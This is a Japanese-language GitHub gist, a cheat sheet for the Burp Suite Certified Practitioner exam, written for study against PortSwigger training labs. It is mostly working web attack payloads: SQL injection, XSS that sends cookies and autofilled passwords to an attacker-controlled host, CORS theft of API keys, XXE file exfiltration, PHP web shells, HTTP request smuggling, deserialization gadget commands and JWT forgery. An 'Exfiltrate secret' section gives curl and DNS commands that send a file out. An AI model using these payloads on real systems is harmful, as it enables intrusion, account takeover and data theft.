Skip to content

Instantly share code, notes, and snippets.

@dhmosfunk
Forked from wonda-tea-coffee/bscp.md
Created September 30, 2022 01:32
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save dhmosfunk/b5731d149ffc6c2dd4760d666537b4f6 to your computer and use it in GitHub Desktop.
Save dhmosfunk/b5731d149ffc6c2dd4760d666537b4f6 to your computer and use it in GitHub Desktop.
BSCP攻略チートシート

試験ルール

  • 制限時間は4時間
  • 2つの脆弱なアプリケーションを攻略する
  • それぞれのアプリケーションでの流れは以下の通り
    • ステージ1: 任意のユーザー アカウントを奪う。
    • ステージ2: アカウントを使用して /admin の管理インターフェイスにアクセスする。おそらく、権限を昇格させるか、管理者アカウントを侵害する。
    • ステージ3: 管理インターフェイスを使用して、サーバーのファイルシステムから /home/carlos/secret の内容を読み取り、"submit solution" を使用して送信する。
  • ユーザー名「 administrator 」を持つ管理者アカウントと、通常は「 carlos 」と呼ばれる権限の低いアカウントが常に存在する。ユーザー名列挙の脆弱性が見つかった場合、次のユーザー名リストパスワードリストを使用して、権限の低いアカウントに侵入できる可能性がある。
  • 各アプリケーションには最大1人のアクティブユーザーがおり、ユーザーまたは管理者としてログインする。ユーザーは15秒ごとにサイトのホームページにアクセスし、アプリケーションから受信した電子メールのリンクをクリックすると想定できる。エクスプロイトサーバーの「被害者への送信」機能を使用して、反映された脆弱性をターゲットにすることができる。
  • SSRFの脆弱性が見つかった場合は、ローカルホストのポート6566 で実行されている内部専用サービスにアクセスすることで、それを使用してファイルを読み取ることができる。
  • _lab および _lab_analytics Cookie は試験のコア機能の一部のため改ざんしてはならない。
  • Burp Suiteのプロジェクトファイルを使用する必要がある。プロジェクトファイルは、試験を受けてから1週間以内に証明書を確認したり、報告された問題を調査したりするために要求される場合がある。試験用のプロジェクトで始めると良い。

参考

共通テクニック

  • 不完全なサニタイズに注目せよ
    • 例えば"が単に\"と置き換えられる場合は\"とすれば\\"となってバイパスできる
    • 末尾一致を検証している場合はヌルバイト文字で騙せるかもしれない
  • 極端に大きな値、小さな値、負数、小数を試す
  • ダブルURLエンコード
  • 英字は大文字、小文字を織り交ぜる
  • バックエンドサーバ、キャッシュサーバなどサーバが複数存在する場合
    • 同じHTTPヘッダーを2つ挿入してみる
  • リクエストラインにホスト名を含めてみる
  • /robots.txt, /.git, /backup, /file_name~で情報収集
  • Hostヘッダを入れてみる
    • X-Forwarded-For
    • X-Forwarded-Host
  • TRACEメソッド
  • HTMLの属性はダブルクォートで囲うこと
    • シングルクォートで囲ってもレンダリング時にダブルクォートに変換される
  • 特定のパスでリダイレクトを起こせるか
  • Ascii to String
 %w(51 101 48 103 104 104 103 101 122 57 119 99 121 56 101 56 98 103 97 111).map(&:to_i).map(&:chr).join

Find more

Burpテクニック

SQL Injection

  • foo' OR 1=1 -- ですべてのレコードを取得する
  • UNION SELECT NULL(,NULL){0,} でカラム数を決定する
  • UNION SELECT '',NULL,NULL, UNION SELECT NULL,'',NULL, UNION SELECT NULL,NULL,'' のようにして文字列カラムを特定する
  • 自由にできるフィールドが制限されている場合、CONCAT()||を活用する
  • ORDER
    • (SELECT (CASE WHEN ((select substring(password, 1, 1) from users where username = 'carlos')='n') THEN 9975 ELSE 1/(SELECT 0) END))
      • postgresで動作確認
  • テーブル名、カラム名の列挙でユーザーのパスワードを奪取する
  • クエリの結果があるか否か(またはエラーか否か)でレスポンスが変わる場合、SUBSTRING()を使ってパスワードを1文字ずつ特定できる
  • DNSルックアップ

sqlmap

テーブル一覧

python3 sqlmap.py -u URL_WITH_PARAMS --tables -o

テーブルのダンプ

python3 sqlmap.py -u URL_WITH_PARAMS -T TABLE_NAME --dump -o

Cheat sheet

Find more

ミステリーラボ

  • カラム数を決定する
  • 文字列カラムの位置を特定する
  • データベースバージョンの表示
  • 10秒遅延を発生させる
  • BurpCollaboratorと疎通する

XSS

  • "><s> でタグを注入
  • <xss id=x tabindex=1 autofocus onfocus=alert(document.cookie)></xss>
  • </script><script>alert(1)</script>
  • HTML-encoding(ex. '), JavaScriptテンプレートリテラル(${123})
  • <>がHTMLエンコードされている場合は" autofocus onfocus=alert(document.domain) x="で属性を注入
  • iframeでscriptが実行されるページを送り込む
  • location.hrefを変えて強制遷移させる
  • JavaScriptで<>をreplaceしている場合は<>を前に挟む
    • 正しくはreplaceAll
  • via SVG
    • <svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
  • クッキーを盗む
<iframe src="https://LAB_ID/?SearchTerm=rn0sswb5%22%7D%3Bfetch%28%60https%3A%2F%2Fexploit-0ae4001e03bfe98dc00152e7013500a8%5Cu%7B2e%7Dweb-security-academy%5Cu%7B2e%7Dnet%2F%3F%24%7Bdocument%5B%22cookie%22%5D%7D%60%2C%7Bmode%3A%27no-cors%27%2Ccredentials%3A%27include%27%7D%29%2F%2F"></iframe>
  • オートコンプリートされるパスワードを盗む
<input name=username id=username>
<input type=password name=password onchange=" if(this.value.length) fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{method: 'POST',mode: 'no-cors',body: username.value+':'+this.value,credentials: 'include'});">
  • DOMが読み込まれてから何かしたい
window.onload = (e) => {/*  何か */};
  • aタグが書けるがhref=**がブロックされる場合 <a href ping="***"> で任意のURLにPOSTリクエストが出せる
  • formがある画面の場合、form内の値をクエリパラメータから受け付けているかもしれない
  • ユーザーに目当ての要素を選択させる必要があり、任意のURLを踏ませられる場合は以下のようなコードが有効な場合がある
<script>
location = "target.com?x=<input onfocus=alert(1) id=x>#x"
</script>

Further more

WAF bypass tips

CORS

  • Originをそのまま信頼しているか
<script>
fetch(`https://LAB/accountDetails`, {
  credentials: 'include',
  method: 'GET'
})
.then(response=> response.json())
.then(data => {
  fetch(`/?apiKey=${data.apikey}`)
})
</script>
  • Origin: nullなリクエストを信頼しているか
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>fetch(`https://LAB/accountDetails`, { credentials: 'include', method: 'GET' }).then(response=> response.json()).then(data => { fetch(`/?apiKey=${data.apikey}`, { mode: 'no-cors' }) }) </script>"></iframe>
  • ターゲットから信頼されている、XSSに脆弱なサブドメインは無いか
  • Hostヘッダの検証バイパスを参考にする

Find more

Directory Traversal

  • 相対パス、絶対パスで試す
  • Burp IntruderのFuzzing Listを使う
  • ../が削除されるならば....//
  • 2重URLエンコード
  • 特定文字列から始まっていれば良いのであれば/var/www/images/../../../etc/passed
  • ../etc/passwd%00.jpg

DOM-based vulnerabilities

  • web message
    • 送信元を確認していない場合
<!-- HTML -->
<iframe src="https://your-lab-id.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

<!-- JSON -->
<iframe src=https://your-lab-id.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
  • 内部IPのブルートフォース
<script>
const BURP_HOST = '5qwkaad5lhyov1p42rppclhwnntdh2.oastify.com'
for (let i = 0; i < 256; i++) {
  fetch(`http://192.168.0.${i}:8080`)
  .then(res => { res.text().then(text => {
    fetch(`http://${BURP_HOST}?q=${i}&body=${encodeURIComponent(text)}`)
  })})
}
</script>

OS Command Injection

  • &, ||, ;などを使ってコマンドに割り込む
  • 上記の記号を入れてエラーが起きるか
  • & sleep 10 & でブラインドの検出
  • & nslookup $(whoami).BURP-COLLAB &

Server-side template injection

Find more

Information Disclosure

  • TRACEメソッド
  • DOM内に怪しいファイルの痕跡(コメントなど)が無いか調べる
  • /robots.txt
  • /backup
  • [filename]~
  • /.git
  • エラー画面を出す
  • Logger++

Business logic vulnerabilities

  • リクエストをドロップして、特定画面をスキップする

CSRF

基本形

<script>
fetch(
  'LAB/my-account/change-email',
  {
    method: 'POST',
    mode:'no-cors',
    body:'email=a@a',
    credentials: 'include'
  }
);
</script>
  • POSTでない場合CSRFトークンの検証が行われないかもしれない
  • sessionとCSRFトークンが紐づけられていないかもしれない
    • この場合あるユーザーが使うCSRFトークンを別のユーザーへの攻撃用に使える
  • CSRFトークン自体が無い場合は検証をしていないかもしれない
  • クッキーを任意に設定できる脆弱性がある場合
    • CSRFトークンがセッション以外のクッキーと紐づけられているかもしれない
    • CSRFトークンとクッキーに同じ値があれば検証を通せるかもしれない
  • リファラの検証をしている場合
    • リファラが存在している場合のみ検証している場合
      • <meta name="referrer" content="never"> でリファラを付けないようにできる
    • リファラの検証が不十分な場合
      • Referrer-Policy: unsafe-url を返すことでリファラにクエリを付加することができる
      • 下記でリファラに任意の文字列を付加できる
        • history.pushState("", "", "/?your-lab-id.web-security-academy.net")
  • Burp Repeater -> Engagement tool -> CSRF PoC Generator

Clickjacking

<head>
  <style>
    #target_website {
      position:relative;
      width: 1280px;
      height:1280px;
      opacity:0.00001;
      z-index:2;
    }
    #decoy_website {
      position: absolute;
      top:490px;
      left:100px;
      z-index:1;
    }
  </style>
</head>
<body>
  <p id="decoy_website">Click me</p>
  <iframe id="target_website" src="https://victim-website.com">
  </iframe>
</body>
  • フレームバスターにガードされる場合は sandbox="allow-forms"

XXE

戦略

  • ENTITYは許可されるか、許可されるならばどのパターンが許可されるか
  • ENTITYが2パターンとも許可されない場合は外部DTD読み込みを使う
  • 入力値がレスポンスとして返る場合は単にパラメータを置き換えるだけで良いかもしれない
  • エラーメッセージが返る場合はファイルを直接表示できるかもしれない
  • XML全体をコントロールできない場合はXInclude Attack
  • SVGがアップロードできる場合はSVGを
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR_DTD_URL"> %xxe; ]>

基本形

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]>

Blind XXE with out-of-band interaction

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR_SUBDOMAIN"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % test SYSTEM "http://BURP_COLLABORATOR_SUBDOMAIN" > %test; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

ホスト名を持ち出す

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP_COLLABORATOR_SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;

エラーメッセージ経由で秘密情報を得る

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

XInclude attacks

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

svgのアップロード

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY [xxe](https://portswigger.net/web-security/xxe) SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

ローカルDTDの再利用

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Other resources

SSRF

File upload vulnerabilities

  • phpファイルのアップロード
Content-Type: text/plain

<?php echo file_get_contents('/home/carlos/secret'); ?>
  • サーバがContent-Typeを信頼している場合、Content-Typeを改ざんできる
  • パストラバーサルを利用して意図しないディレクトリにアップロードする
    • filenameに相対パスを含める
    • 難読化を併用
  • サーバがApacheの場合、以下のようにして.htaccessファイルをアップロードすることで、任意の拡張子をphpとして解釈させることができる
AddType application/x-httpd-php .hoge
  • 拡張子
    • 大文字、小文字を混ぜる
    • 複数付ける
      • ex. shell.php.test
    • .を(ダブル)URLエンコード
    • 前にセミコロンやヌルバイト
    • マルチバイトなユニコード文字
    • xC0 x2ExC4 xAE or xC0 xAE
    • .phpが取り除かれる場合はp.phphp
  • ファイルの中身もチェックしている場合、polyglotを試す
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" -o polyglot.php [元になる画像ファイル]
  • race condition
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

参考

Access control vulnerabilities

  • クエリパラメータ、メッセージボディ、HTTPメソッド、ヘッダー(ex. リファラ)、クッキーを書き換える
  • POSTXなど未知のメソッドを試す
  • Hostヘッダを書き換える

Authentication

  • ユーザー名列挙
    • 存在するユーザーとしないユーザーとでレスポンスボディや時間が微妙に異なるかもしれない
    • 存在しないユーザーはロックされないかもしれない
  • ブルートフォース
    • ログインに成功するとログイン失敗回数をリセットできるかもしれない
  • ログイン試行回数制限のバイパス
    • X-Forwarded-For

Password reset

  • リクエストの一部を改変してメール内のパスワードリセットリンクのホスト部を改ざんできるかもしれない
    • X-Forwarded-Host

Password change

  • ユーザー名を受け付けている場合ブルートフォースに使える可能性がある

Tool

HTTP Host header attacks

  • Hostヘッダにリクエストをしているかもしれない
  • 検証のバイパス
    • リクエストラインにHostを含めるとHostヘッダの検証をしないかもしれない
    • 2つ付けると片方は検証されないかもしれない
    • ポート番号に任意の文字列を埋め込む
    • コントロール下にあるサブドメインに差し替える
    • SSRFのWAFバイパステクニックを試す(ex. 127.1)
    • 前後に空白、タブを付ける
    • 以下のホストで上書き
      • X-Host
      • X-Forwarded-Server
      • X-HTTP-Host-Override
      • Forwarded
  • 同一コネクション内の2度目以降のリクエストは検証が甘いかもしれない
    • 複数リクエストをまとめてシングルコネクションで送る
    • 2番目のリクエストにエクスプロイトを

Find more

HTTP Request Smuggling

  • フロントサーバとバックサーバのリクエスト解釈の違いを突いた攻撃

CL.TE型

Content-LengthとTransfer-Encodingが両方あった場合... フロント:Content-Lengthを優先 バック:Transfer-Encodingを優先 このとき、 1回目のリクエストの最後をバックサーバに認識させ、2回目のリクエストと繋げることができ、想定されないHTTPメソッド(ex. GPOST)を実行させることができる 下記の例ではこの脆弱性を持ったバックサーバにHTTPメソッドをGPOSTとして渡すことができる

POST / HTTP/1.1
Host: target.com
Content-Length: 8
Transfer-Encoding: chunked

0

G

TE.CL型

  • フロント: Transfer-Encodingを優先
  • バック:Content-Lengthを優先

このとき、以下のリクエストを2回送るとバックサーバにHTTPメソッドGPOSTを送ることができる。 (Transfer-Encodingのチャンクサイズは16進数表記であることに注意)

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


  • 1回目(フロント): 最初のチャンクだけを解釈して最後の0の前まで見る
  • 1回目(バック): GPOSTの前まで読む
  • 2回目(フロント): 最後のチャンクを読む
  • 2回目(バック): GPOSTから読む

TE.TE型

  • 以下の難読化テクニックを使ってフロントとバックの解釈の違いを突く
# 存在しない値
Transfer-Encoding: xchunked

# ヘッダ名、値の前後にスペースかタブを挟む
[space or tab]Transfer-Encoding[space or tab]:[space or tab]chunked[space or tab]

# 重複したヘッダ
Transfer-Encoding: chunked
Transfer-Encoding: x

# 改行させる
Transfer-Encoding
: chunked

X: X[\n]Transfer-Encoding: chunked

例えば以下のリクエストをしたときTransfer-Encodingについて、フロントサーバが始めの方(chunked)を、バックエンドサーバーが後続(x)を採用した場合、TE.CL型と同じ原理でバックエンドサーバーにGPOSTメソッドを送ることができる。

POST / HTTP/1.1
Host: 0ac500c40470c397c02e125a007e00d6.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


CL.0型

リクエストボディを想定していないようなエンドポイントにおいて、HTTPヘッダの終わりをリクエストの終わりと解釈する場合、以下の2つのリクエストをシングルコネクションで連続送信する。

POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /admin HTTP/1.1
Foo: x
GET /anything HTTP/1.1
Host: vulnerable-website.com

結果、バックエンドサーバーでは以下のようなリクエストが届くことがある。

GET /admin HTTP/1.1
Foo: xGET /anything HTTP/1.1
Host: vulnerable-website.com

H2.TE型

HTTP/2においてはContent-Lengthに依らずボディのサイズを算出する仕組みがあるが、これまで同様にTransfer-Encodingを受け入れる場合やはりサーバ間でそれらのHTTPヘッダの解釈差が生まれることがある。 例えばフロントサーバはTransfer-Encodingをサポートしておらず、バックエンドサーバーがTransfer-Encodingを優先している場合以下のようにして完全なリクエストを2つ同時に送ることができる。被害者がこのあとアクセスすると404が返り、次に攻撃者がアクセスすると被害者に返されるはずだったレスポンスが見える。このようにしてリクエストのキューを汚染することができる。

POST / HTTP/2
Host: target
Transfer-Encoding: chunked

0

GET /xxx HTTP/1.1
Host: target


H2.CL型

フロントサーバがHTTP/2をダウングレードして、かつ、バックエンドサーバーがContent-Lengthを採用する場合、以下のようにしてエクスプロイトサーバからのレスポンスを返すことができる。

POST / HTTP/2
Host: target
Content-Length: 0

GET /something HTTP/1.1
Host: target
Content-Length: 5

x=1

HTTP/2 request smuggling via CRLF injection

HTTP/2 request splitting via CRLF injection

心得

  • バックグランドでスキャナーやエクステンションの類を動かさないこと
    • リクエスト順によるレスポンスの違いが確かめられなくなる
  • 前回のリクエストのヘッダと衝突する場合は、1回目のリクエストを以下のようにして2回目の都合の悪い部分がボディに来るようにする
POST / HTTP/1.1
Host: 0ab2003503431d4fc0f0c440005c0002.web-security-academy.net
Cookie: session=eYLQ3aI12p8Lsr6Tma2qj9xTrJysvxXM
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
  • リクエストの一部がレスポンスに反映されるPOSTエンドポイントがある場合、以下のようにしてフロントサーバがリクエストをバックサーバに転送する際に付加するヘッダを特定できる - このとき2番目のContent-Lengthを調整しつつほしい情報を得る
Transfer-Encoding: chunked
Content-Length: 246

0

POST / HTTP/1.1
Host: 0afb00df04e0e634c0659e2400310083.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 300

search=POST / HTTP/1.1
Host: 0afb00df04e0e634c0659e2400310083.web-security-academy.net
  • リクエストの最後に "\r\n\r\n "というシーケンスを含めることで、密輸されたリクエストを適切に終了させることを忘れない

ミステリーラボ

  • バックエンドサーバーにGPOSTメソッドを実行させる
  • バックエンドサーバーに2回目以降すべて404が返るリクエストを送る
  • フロントサーバのブロックをバイパスして管理画面に侵入してcarlosを削除
  • 管理者のリクエストを強制的に画面に表示させてセッションを乗っ取る

Find more

Web cache poisoning

  • レスポンスにキャッシュしていることを匂わせるヘッダが付いているか
  • Param Miner -> Guess everything!
  • レスポンスがキャッシュされる場合、クエリパラメータに適当な値を入れるとキャッシュを無効化できるかもしれない
  • クエリパラメータを入れてみる
  • キャッシュキーの特定
    • Pragma: x-get-cache-key(for Akamai)
    • Varyヘッダ
  • クエリパラメータutm_content(utm_source, utm_medium)はキャッシュキーから除外されたり、レスポンスに反映されるかもしれない
  • キャッシュサーバーとバックエンドサーバーのクエリパラメータの解釈に相違がある
    • バックエンドサーバーのみが;をセパレーターとして解釈する場合
      • /js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)
      • callback=alert(1)を送ることができ、キャッシュキーはsetCountryCookieになる
  • GETリクエストがボディを受け付けて、ボディがキャッシュキーで無い場合、クエリパラメータと共に同名のパラメータをキャッシュさせられるかもしれない(= fat GET)
  • キャッシュキーを正規化する場合
    • パスをURLエンコードしたものと、そうでないものを同一視しているかもしれない

Find more

Insecure deserialization

  • sessionをURLデコードからのBase64デコードしてオブジェクトらしきものが出れば権限昇格チャンス

PHP

  • 曖昧な等価演算子==では文字列と0は等価になる
  • PHPGGC
    • ex. docker run --rm phpgc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0 | pbcopy
  • PREPL
    • REPL
  • tips
$object = "OBJECT_GENERATED_BY_PHPGGC";
$secretKey = "LEAKED_SECRET_KEY_FROM_PHPINFO";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

Java

  • ysoserial
    • ex1. java -jar ysoserial-all.jar CommonsCollections4 'ARBITRARY_OS_COMMAND' | base64 -w 0 | pbcopy
    • ex2. java -jar ysoserial-all.jar CommonsCollections6 'ARBITRARY_OS_COMMAND' | gzip -f | base64 -w 0 | pbcopy

Ruby

  • sessionをURLデコード -> Base64デコードして先頭2バイトが 04 08 であればMarshalの可能性大
  • Marshal
    • ex. ./ruby_gadgets_chain.rb 'rm /home/carlos/morale.txt' | pbcopy

Further more

OAuth authentication

  • 偵察
    • 認可サーバが有しているかもしれないエンドポイント
    • /.well-known/oauth-authorization-server
    • /.well-known/openid-configuration
      • 動的にクライアントを登録できる場合、登録用のエンドポイントがある
  • 自分のトークンを使って被害者に成り変われるか
  • redirect_uriの検証をしていない場合認証コードを盗める
<script>
var client_id = '***';
var oauth_server = '***';
var exploit_server = '***';

location = `${oauth_server}/auth?client_id=${client_id}&redirect_uri=${exploit_server}/oauth-callback&response_type=code&scope=openid%20profile%20email`;
</script>
  • redirect_uriを同一ホスト内の任意パスに変えられて、かつ、オープンリダイレクト脆弱性がある場合、サーバに飛ばないハッシュフラグメントに付いたアクセストークンを盗める
  • 認証フローの最初のエンドポイントがパラメータstateを含んでいなければForced OAuth profile linking可能

JWT

  • 署名を検証をしていないためペイロードを単に書き換える
  • alg: none
  • 秘密鍵が弱い場合ブルートフォースで割り出せる
    • hashcat -a 0 -m 16500 --force <jwt> jwt.secrets.list
    • -m 16500はJWTを指す
  • jwk header injection
    • 新しく公開鍵を作る
    • subを被害者に修正
    • Burp RepeaterのJSON Web TokenビューでAttack -> Embedded JWK -> 上記で作った鍵を選択
  • jku header injection
    • 新しく公開鍵を作る
    • Copy Public Key as JWK
    • エクスプロイトサーバに {"keys": [ペースト]} をアップロード
    • JWTパラメータのsubを被害者に、kidをサーバに上げた値と合わせる
    • 先の鍵で署名
  • kidパラメータにパストラバーサル脆弱性がある
    • kidを../dev/nullとして徐々に../を増やしていく
    • AA==をBase64エンコード済みの秘密鍵とする
    • JWTの作成はjwt.ioが便利
  • jwt.io
  • Algorithm confusion
    • 実装者はRS256を仮定しているのに、ライブラリはヘッダーを見てRS256とHS256のどちらも受け入れる場合に起こる
    • 悪用の流れ
      • ※X.509 PEM形式のキーが攻撃対象のサーバに保存されていると仮定)
      • /jwks.json または /.well-known/jwks.json でjwkを入手
      • 公開鍵を適切なフォーマットに変換
          1. 公開鍵をコピーしてJWT Editor Keysタブへ
          1. New RSA Keyを押してjwkキーを貼り付ける
          1. ラジオボタンPEMを押してPEMに変換
          1. PEMをBase64エンコードしてコピー
          1. JWT Editor Keysタブに 戻り、New Symmetric Keyを選択
          1. ダイアログボックスで生成をクリックして、JWK形式で新しいキーを生成
          1. kパラメータの値を4でコピーした値で置き換える
      • JWTを変更する
        • algヘッダーをHS256に変える
        • 後はお好きに
      • RSA公開鍵をシークレットとしてHS256アルゴリズムを使用してトークンに署名
    • 公開鍵が利用できない場合、生成した2つのJWTから公開鍵を割り出せることがある
      • docker run --rm -it portswigger/sig2n <token1> <token2>

Apache

  • /files/server-status

機能別

パスワードリセット

  • 新しいパスワードを入れるフォームでusernameを受け付けている
  • メール内リンクの差し替え
    • Hostヘッダを差し替える
    • Hostヘッダを複数

二段階認証

  • 1段階目を認証すると既にログイン扱いになっている

セッション

  • URLデコードからのBase64デコードして文字列感があるか
  • JWTかどうか

入力項目一般

  • OSコマンドの区切り文字(;, ||, &&)を入れる
  • XSSペイロード
  • ディレクトリトラバーサル
    • /etc/passwd
    • /home/carlos/secret
  • SQLインジェクション
  • XMLならXXE

API

  • CORS
    • ノーガードか
    • Null Origin

Exfiltrate secret

  • host $(cat /home/carlos/secret).BURP_COLLABORATOR_SUBDOMAIN
  • curl --data @/home/carlos/secret BURP_COLLABORATOR_SUBDOMAIN

Burp Suite tips

その他リンク集

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment